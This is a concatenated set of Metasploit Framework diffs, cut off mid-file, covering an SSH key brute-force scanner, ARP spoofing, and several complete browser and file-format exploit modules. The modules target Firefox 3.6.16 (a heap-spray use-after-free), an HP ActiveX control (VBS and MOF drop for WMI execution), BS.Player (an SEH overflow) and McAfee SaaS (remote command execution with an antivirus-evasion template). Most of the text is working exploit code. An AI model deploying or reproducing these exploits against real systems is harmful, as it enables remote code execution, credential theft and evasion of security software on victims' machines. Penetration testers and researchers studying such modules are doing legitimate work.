msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)."
|
||||
elsif datastore['KEY_DIR']
|
||||
@keyfile_path = datastore['KEY_DIR'].dup
|
||||
return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir))
|
||||
unless @key_files
|
||||
@key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/ || f =~ /\x2epub$/}
|
||||
|
@ -195,9 +193,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
rescue Net::SSH::AuthenticationFailed
|
||||
# Try, try, again
|
||||
if @key_files
|
||||
vprint_error "#{ip}:#{rport} - SSH - Failed authentication, trying key #{@key_files[key_idx+1]}"
|
||||
vprint_error "#{ip}:#{rport} SSH - Failed authentication, trying key #{@key_files[key_idx+1]}"
|
||||
else
|
||||
vprint_error "#{ip}:#{rport} - SSH - Failed authentication, trying key #{key_idx+1}"
|
||||
vprint_error "#{ip}:#{rport} SSH - Failed authentication, trying key #{key_idx+1}"
|
||||
end
|
||||
next
|
||||
rescue Net::SSH::Exception => e
|
||||
|
@ -208,6 +206,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
if self.ssh_socket
|
||||
self.good_key = self.ssh_socket.auth_info[:pubkey_id]
|
||||
self.good_key_data = self.ssh_socket.options[:key_data]
|
||||
proof = ''
|
||||
begin
|
||||
Timeout.timeout(5) do
|
||||
|
@ -247,42 +246,50 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def do_report(ip,user,port,proof)
|
||||
def do_report(ip, port, user, proof)
|
||||
return unless framework.db.active
|
||||
store_keyfile_b64_loot(ip,user,self.good_key)
|
||||
keyfile_path = store_keyfile(ip,user,self.good_key,self.good_key_data)
|
||||
cred_hash = {
|
||||
:host => ip,
|
||||
:port => datastore['RPORT'],
|
||||
:sname => 'ssh',
|
||||
:user => user,
|
||||
:pass => @keyfile_path,
|
||||
:pass => keyfile_path,
|
||||
:type => "ssh_key",
|
||||
:proof => "KEY=#{self.good_key}, PROOF=#{proof}",
|
||||
:active => true
|
||||
:duplicate_ok => true,
|
||||
:active => true
|
||||
}
|
||||
this_cred = report_auth_info(cred_hash)
|
||||
end
|
||||
|
||||
# Sometimes all we have is a SSH_KEYFILE_B64 string. If it's
|
||||
# good, then store it as loot for this user@host, unless we
|
||||
# already have it in loot.
|
||||
def store_keyfile_b64_loot(ip,user,key_id)
|
||||
return unless db
|
||||
return if @keyfile_path
|
||||
return if datastore["SSH_KEYFILE_B64"].to_s.empty?
|
||||
keyfile = datastore["SSH_KEYFILE_B64"].unpack("m*").first
|
||||
keyfile = keyfile.strip + "\n"
|
||||
ktype_match = keyfile.match(/--BEGIN ([DR]SA) PRIVATE/)
|
||||
return unless ktype_match
|
||||
ktype = ktype_match[1].downcase
|
||||
ltype = "host.unix.ssh.#{user}_#{ktype}_private"
|
||||
# Assignment and comparison here, watch out!
|
||||
if loot = Msf::DBManager::Loot.find_by_ltype_and_workspace_id(ltype,myworkspace.id)
|
||||
if loot.info.include? key_id
|
||||
@keyfile_path = loot.path
|
||||
end
|
||||
def existing_loot(ltype, key_id)
|
||||
framework.db.loots(myworkspace).find_all_by_ltype(ltype).select {|l| l.info == key_id}.first
|
||||
end
|
||||
|
||||
def store_keyfile(ip,user,key_id,key_data)
|
||||
safe_username = user.gsub(/[^A-Za-z0-9]/,"_")
|
||||
case key_data
|
||||
when /BEGIN RSA PRIVATE/m
|
||||
ktype = "rsa"
|
||||
when /BEGIN DSA PRIVATE/m
|
||||
ktype = "dsa"
|
||||
else
|
||||
ktype = nil
|
||||
end
|
||||
@keyfile_path ||= store_loot(ltype, "application/octet-stream", ip, keyfile.strip, nil, key_id)
|
||||
return unless ktype
|
||||
ltype = "host.unix.ssh.#{user}_#{ktype}_private"
|
||||
keyfile = existing_loot(ltype, key_id)
|
||||
return keyfile.path if keyfile
|
||||
keyfile_path = store_loot(
|
||||
ltype,
|
||||
"application/octet-stream", # Text, but always want to mime-type attach it
|
||||
ip,
|
||||
(key_data + "\n"),
|
||||
"#{safe_username}_#{ktype}.key",
|
||||
key_id
|
||||
)
|
||||
return keyfile_path
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
@ -294,21 +301,21 @@ class Metasploit3 < Msf::Auxiliary
|
|||
ret,proof = do_login(ip,user,rport)
|
||||
case ret
|
||||
when :success
|
||||
print_good "#{ip}:#{rport} SSH - Success: '#{user}':'#{self.good_key}' '#{proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'"
|
||||
do_report(ip,user,rport,proof)
|
||||
print_brute :level => :good, :msg => "Success: '#{user}':'#{self.good_key}' '#{proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'"
|
||||
do_report(ip, rport, user, proof)
|
||||
:next_user
|
||||
when :connection_error
|
||||
vprint_error "#{ip}:#{rport} - SSH - Could not connect"
|
||||
vprint_error "#{ip}:#{rport} SSH - Could not connect"
|
||||
:abort
|
||||
when :connection_disconnect
|
||||
vprint_error "#{ip}:#{rport} - SSH - Connection timed out"
|
||||
vprint_error "#{ip}:#{rport} SSH - Connection timed out"
|
||||
:abort
|
||||
when :fail
|
||||
vprint_error "#{ip}:#{rport} - SSH - Failed: '#{user}'"
|
||||
vprint_error "#{ip}:#{rport} SSH - Failed: '#{user}'"
|
||||
when :missing_keyfile
|
||||
vprint_error "#{ip}:#{rport} - SSH - Cannot read keyfile."
|
||||
vprint_error "#{ip}:#{rport} SSH - Cannot read keyfile."
|
||||
when :no_valid_keys
|
||||
vprint_error "#{ip}:#{rport} - SSH - No cleartext keys in keyfile."
|
||||
vprint_error "#{ip}:#{rport} SSH - No cleartext keys in keyfile."
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -83,20 +83,20 @@ class Metasploit3 < Msf::Auxiliary
|
|||
@interface = get_interface_guid(@interface)
|
||||
@smac = datastore['SMAC']
|
||||
@smac ||= get_mac(@interface) if @netifaces
|
||||
raise RuntimeError ,'Source Mac should be defined' unless @smac
|
||||
raise RuntimeError ,'Source Mac is not in correct format' unless is_mac?(@smac)
|
||||
raise RuntimeError ,'SMAC is not defined and can not be guessed' unless @smac
|
||||
raise RuntimeError ,'Source MAC is not in correct format' unless is_mac?(@smac)
|
||||
|
||||
@sip = datastore['LOCALSIP']
|
||||
@sip ||= Pcap.lookupaddrs(@interface)[0] if @netifaces
|
||||
raise "LOCALIP is not defined and can not be guessed" unless @sip
|
||||
raise "LOCALIP is not an ipv4 address" unless is_ipv4? @sip
|
||||
raise "LOCALSIP is not defined and can not be guessed" unless @sip
|
||||
raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip)
|
||||
|
||||
shosts_range = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])
|
||||
@shosts = []
|
||||
if datastore['BIDIRECTIONAL']
|
||||
shosts_range.each{|shost| if is_ipv4? shost and shost != @sip then @shosts.push shost end}
|
||||
shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) and shost != @sip then @shosts.push shost end}
|
||||
else
|
||||
shosts_range.each{|shost| if is_ipv4? shost then @shosts.push shost end}
|
||||
shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end}
|
||||
end
|
||||
|
||||
if datastore['BROADCAST']
|
||||
|
@ -178,7 +178,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS'])
|
||||
@dhosts = []
|
||||
dhosts_range.each{|dhost| if is_ipv4? dhost and dhost != @sip then @dhosts.push(dhost) end}
|
||||
dhosts_range.each{|dhost| if Rex::Socket.is_ipv4?(dhost) and dhost != @sip then @dhosts.push(dhost) end}
|
||||
|
||||
#Build the local dest hosts cache
|
||||
print_status("Building the destination hosts cache...")
|
||||
|
@ -329,12 +329,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
else false end
|
||||
end
|
||||
|
||||
#copy paste from rex::socket cause we need only ipv4
|
||||
#NOTE: Breaks msftidy's rule on long lines, should be refactored for readability.
|
||||
def is_ipv4?(addr)
|
||||
(addr =~ /^(?:(?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2}))$/) ? true : false
|
||||
end
|
||||
|
||||
def buildprobe(shost, smac, dhost)
|
||||
p = PacketFu::ARPPacket.new
|
||||
p.eth_saddr = smac
|
||||
|
|
|
@ -0,0 +1,159 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
|
||||
autopwn_info({
|
||||
:ua_name => HttpClients::FF,
|
||||
:ua_minver => "3.6.16",
|
||||
:ua_maxver => "3.6.16",
|
||||
:os_name => OperatingSystems::MAC_OSX,
|
||||
:javascript => true,
|
||||
:rank => NormalRanking,
|
||||
})
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Mozilla Firefox 3.6.16 mChannel use after free vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits an use after free vulnerability in Mozilla
|
||||
Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
|
||||
OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
|
||||
becomes a dangling pointer and can be reused when setting the OBJECTs
|
||||
data attribute. (Discovered by regenrecht). Mac OS X version by argp,
|
||||
tested on Mac OS X 10.6.6, 10.6.7 and 10.6.8.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'regenrecht', # discovery
|
||||
'Rh0', # windows metasploit module
|
||||
'argp <argp[at]census-labs.com>' # mac os x target
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2011-0065'],
|
||||
['OSVDB', '72085'],
|
||||
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
|
||||
['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
},
|
||||
'Platform' => 'osx',
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7 and 10.6.8)',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Fakevtable' => 0x2727,
|
||||
'Fakefunc' => 0x2727001c,
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'May 10 2011'
|
||||
))
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
# Random JavaScript variable names
|
||||
js_element_name = rand_text_alpha(rand(10) + 5)
|
||||
js_obj_addr_name = rand_text_alpha(rand(10) + 5)
|
||||
js_sc_name = rand_text_alpha(rand(10) + 5)
|
||||
js_ret_addr_name = rand_text_alpha(rand(10) + 5)
|
||||
js_chunk_name = rand_text_alpha(rand(10) + 5)
|
||||
js_final_chunk_name = rand_text_alpha(rand(10) + 5)
|
||||
js_block_name = rand_text_alpha(rand(10) + 5)
|
||||
js_array_name = rand_text_alpha(rand(10) + 5)
|
||||
|
||||
# check for non vulnerable targets
|
||||
agent = request.headers['User-Agent']
|
||||
|
||||
if agent !~ /Intel Mac OS X 10\.6/ and agent !~ /Firefox\/3\.6\.16/
|
||||
print_error("Target not supported: #{agent}") if datastore['VERBOSE']
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
# Re-generate the payload
|
||||
return if ((payload = regenerate_payload(cli).encoded) == nil)
|
||||
|
||||
payload_buf = ''
|
||||
payload_buf << payload
|
||||
escaped_payload = Rex::Text.to_unescape(payload_buf)
|
||||
|
||||
# setup the fake memory references
|
||||
my_target = targets[0] # in case we add more targets later
|
||||
fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
|
||||
fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))
|
||||
|
||||
exploit_js = <<-JS
|
||||
#{js_element_name} = document.getElementById("d");
|
||||
#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink);
|
||||
#{js_element_name}.onChannelRedirect(null, new Object, 0)
|
||||
|
||||
#{js_obj_addr_name} = unescape("\x00#{fakevtable}");
|
||||
|
||||
var #{js_sc_name} = unescape("#{escaped_payload}");
|
||||
|
||||
var #{js_ret_addr_name} = unescape("#{fakefunc}");
|
||||
|
||||
while(#{js_ret_addr_name}.length < 0x120)
|
||||
{
|
||||
#{js_ret_addr_name} += #{js_ret_addr_name};
|
||||
}
|
||||
|
||||
var #{js_chunk_name} = #{js_ret_addr_name}.substring(0, 0x18);
|
||||
#{js_chunk_name} += #{js_sc_name};
|
||||
#{js_chunk_name} += #{js_ret_addr_name};
|
||||
var #{js_final_chunk_name} = #{js_chunk_name}.substring(0, 0x10000 / 2);
|
||||
|
||||
while(#{js_final_chunk_name}.length < 0x800000)
|
||||
{
|
||||
#{js_final_chunk_name} += #{js_final_chunk_name};
|
||||
}
|
||||
|
||||
var #{js_block_name} = #{js_final_chunk_name}.substring(0, 0x80000 - #{js_sc_name}.length - 0x24 / 2 - 0x4 / 2 - 0x2 / 2);
|
||||
|
||||
#{js_array_name} = new Array()
|
||||
|
||||
for(n = 0; n < 0x220; n++)
|
||||
{
|
||||
#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
|
||||
}
|
||||
JS
|
||||
|
||||
html = <<-HTML
|
||||
<html>
|
||||
<body>
|
||||
<object id="d"><object>
|
||||
<script type="text/javascript">
|
||||
#{exploit_js}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
HTML
|
||||
|
||||
#Remove the extra tabs
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response_html(cli, html, { 'Content-Type' => 'text/html' })
|
||||
|
||||
# Handle the payload
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,158 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::WbemExec
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HP Easy Printer Care XMLCacheMgr Class ActiveX Control Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module allows remote attackers to place arbitrary files on a users file
|
||||
system by abusing the "CacheDocumentXMLWithId" method from the "XMLCacheMgr"
|
||||
class in the HP Easy Printer HPTicketMgr.dll ActiveX Control (HPTicketMgr.dll
|
||||
2.7.2.0).
|
||||
|
||||
Code execution can be achieved by first uploading the payload to the remote
|
||||
machine embeddeding a vbs file, and then upload another mof file, which enables
|
||||
Windows Management Instrumentation service to execute the vbs. Please note that
|
||||
this module currently only works for Windows before Vista.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Andrea Micalizzi', # aka rgod original discovery
|
||||
'juan vazquez', # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-4786'],
|
||||
[ 'BID', '51396'],
|
||||
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-013/' ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
#Windows before Vista
|
||||
[ 'Automatic', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 11 2012'))
|
||||
end
|
||||
|
||||
#
|
||||
# The following handles deleting the copied vbs payload and mof file
|
||||
# See "struts_code_exec.rb" and "ms10_026_dbldecode.rb" for more information.
|
||||
#
|
||||
def on_new_session(client)
|
||||
|
||||
if client.type != "meterpreter"
|
||||
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
|
||||
print_error("The vbs payload and mof file must be removed manually.")
|
||||
return
|
||||
end
|
||||
|
||||
return if not @var_mof_name
|
||||
return if not @var_vbs_name
|
||||
|
||||
# stdapi must be loaded before we can use fs.file
|
||||
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
||||
|
||||
cmd = "C:\\windows\\system32\\attrib.exe -r " +
|
||||
"C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"
|
||||
|
||||
client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
|
||||
begin
|
||||
print_status("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")
|
||||
client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs")
|
||||
print_status("Deleting the mof file \"#{@var_mof_name}.mof\" ...")
|
||||
client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
|
||||
rescue ::Exception => e
|
||||
print_error("Exception: #{e.inspect}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
unless request['User-Agent'] =~ /MSIE/
|
||||
send_not_found(cli)
|
||||
print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
|
||||
return
|
||||
end
|
||||
|
||||
# Using Windows Management Instrumentation service to execute the payload.
|
||||
# Using code from "blackice_downloadimagefileurl.rb". See it for more information.
|
||||
|
||||
var_xmlcachemgr = rand_text_alpha(rand(5)+5)
|
||||
var_mof_function_name = rand_text_alpha(rand(5)+5)
|
||||
|
||||
content = <<-EOS
|
||||
<html>
|
||||
<head>
|
||||
<script>
|
||||
var #{var_xmlcachemgr} = new ActiveXObject('HPESPRIT.XMLCacheMgr.1');
|
||||
|
||||
function #{var_mof_function_name}() {
|
||||
#{var_xmlcachemgr}.CacheDocumentXMLWithId(
|
||||
"c:\\\\WINDOWS\\\\system32\\\\wbem\\\\mof\\\\#{@var_mof_name}.mof",
|
||||
unescape("#{@mof_content}"),
|
||||
1,
|
||||
1
|
||||
);
|
||||
}
|
||||
|
||||
#{var_xmlcachemgr}.CacheDocumentXMLWithId(
|
||||
"C:\\\\WINDOWS\\\\system32\\\\#{@var_vbs_name}.vbs",
|
||||
unescape("#{@vbs_content}"),
|
||||
1,
|
||||
1
|
||||
);
|
||||
|
||||
setTimeout("#{var_mof_function_name}()", 4000);
|
||||
</script>
|
||||
</head>
|
||||
</html>
|
||||
EOS
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response_html(cli, content)
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
def exploit
|
||||
# In order to save binary data to the file system the payload is written to a .vbs
|
||||
# file and execute it from there.
|
||||
@var_mof_name = rand_text_alpha(rand(5)+5)
|
||||
@var_vbs_name = rand_text_alpha(rand(5)+5)
|
||||
|
||||
print_status("Encoding payload into vbs...")
|
||||
payload = generate_payload_exe
|
||||
@vbs_content = Rex::Text.to_hex(Msf::Util::EXE.to_exe_vbs(payload))
|
||||
|
||||
print_status("Generating mof file...")
|
||||
@mof_content = Rex::Text.to_hex(generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs"))
|
||||
super
|
||||
end
|
||||
|
||||
end
|
|
@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution Vulnerability',
|
||||
'Name' => 'MS05-054: Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This bug is triggered when the browser handles a JavaScript 'onLoad' handler in
|
||||
conjunction with an improperly initialized 'window()' JavaScript function.
|
||||
|
@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
['MSB', 'MS05-054'],
|
||||
['CVE', '2005-1790'],
|
||||
['OSVDB', '17094'],
|
||||
['URL', 'http://www.securityfocus.com/bid/13799/info'],
|
||||
['URL', 'http://www.cvedetails.com/cve/CVE-2005-1790'],
|
||||
],
|
||||
|
|
|
@ -0,0 +1,136 @@
|
|||
##
|
||||
# $Id: $
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::Seh
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'BS.Player 2.57 Buffer Overflow Exploit (Unicode SEH)',
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow in BS.Player 2.57. When
|
||||
the playlist import is used to import a specially crafted m3u file,
|
||||
a buffer overflow occurs allowing arbitrary code execution.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'C4SS!0 G0M3S ', # Original Exploit
|
||||
'Chris Gabriel', # MSF Module
|
||||
#Greets: Corelan team for mona.py & awesome tutorials
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.exploit-db.com/exploits/15934/' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'process',
|
||||
#'InitialAutoRunScript' => 'migrate -f',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2000,
|
||||
'BadChars' => "\x00\x0a\x0d\x1a\x80",
|
||||
'DisableNops' => true,
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP',
|
||||
{
|
||||
'Ret' => "\x2f\x49",
|
||||
'Offset' => 4102
|
||||
}
|
||||
], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe)
|
||||
|
||||
[ 'Windows 7',
|
||||
{
|
||||
'Ret' => "\x2f\x49",
|
||||
'Offset' => 4102
|
||||
}
|
||||
], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe)
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Jan 07 2010',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),], self.class)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
nseh = "\x61\x42"
|
||||
|
||||
align = "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x58" # POP EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\x50" # PUSH EAX
|
||||
align += "\x6d" # PAD
|
||||
align += "\xc3" # RET
|
||||
|
||||
if target == targets[0] then
|
||||
padding = rand_text_alpha_lower(1879)
|
||||
elsif target == targets[1] then
|
||||
padding = rand_text_alpha_lower(1931)
|
||||
end
|
||||
|
||||
enc = framework.encoders.create('x86/unicode_mixed')
|
||||
|
||||
register_to_align_to = "EAX"
|
||||
|
||||
enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to })
|
||||
|
||||
unicodepayload = enc.encode(payload.encoded, nil, nil, platform)
|
||||
|
||||
buffer = "http://"
|
||||
buffer << rand_text_alpha_lower(target['Offset'])
|
||||
buffer << nseh
|
||||
buffer << target['Ret']
|
||||
buffer << align
|
||||
buffer << padding
|
||||
buffer << unicodepayload
|
||||
|
||||
file_create(buffer)
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,368 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "McAfee SaaS MyCioScan ShowReport Remote Command Execution",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in McAfee Security-as-a-Service.
|
||||
The ShowReport() function (located in the myCIOScn.dll ActiveX component) fails
|
||||
to check the FileName argument, and passes it on to a ShellExecuteW() function,
|
||||
therefore allows any malicious attacker to execute any process that's on the
|
||||
local system. However, if the victim machine is connected to a remote share (
|
||||
or something similiar), then it's also possible to execute arbitrary code.
|
||||
Please note that a custom template is required for the payload, because the
|
||||
default Metasploit template is detectable by McAfee -- any Windows binary, such
|
||||
as calc.exe or notepad.exe, should bypass McAfee fine.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'rgod', #Initial discovery
|
||||
'sinn3r', #Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-012'],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none",
|
||||
#'InitialAutoRunScript' => 'migrate -f',
|
||||
'DisablePayloadHandler' => 'false',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
['Internet Explorer', {}],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Apr 1 2011",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options([
|
||||
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
|
||||
OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]),
|
||||
OptString.new('URIPATH', [ true, "The URI to use", "/" ]),
|
||||
OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']),
|
||||
OptPath.new('TEMPLATE', [true, 'A custom template for the payload in order to bypass McAfee', ''])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
case request.method
|
||||
when 'OPTIONS'
|
||||
process_options(cli, request)
|
||||
when 'PROPFIND'
|
||||
process_propfind(cli, request)
|
||||
when 'GET'
|
||||
process_get(cli, request)
|
||||
else
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")
|
||||
resp = create_response(404, "Not Found")
|
||||
resp.body = ""
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
end
|
||||
|
||||
def process_get(cli, request)
|
||||
print_status("URI requested: #{request.uri.to_s}")
|
||||
|
||||
if request.uri =~ /\.vbs$/i
|
||||
# Depending on the connection speed, this might take a moment to transfer the
|
||||
# payload and actually get executed
|
||||
send_response(cli, @vbs, {'Content-Type'=>'application/octet-stream'})
|
||||
print_status("executable sent")
|
||||
else
|
||||
# Don't know the request, return not found
|
||||
print_error("Don't care about this file, 404")
|
||||
send_not_found(cli)
|
||||
end
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
def process_options(cli, request)
|
||||
vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")
|
||||
headers = {
|
||||
'MS-Author-Via' => 'DAV',
|
||||
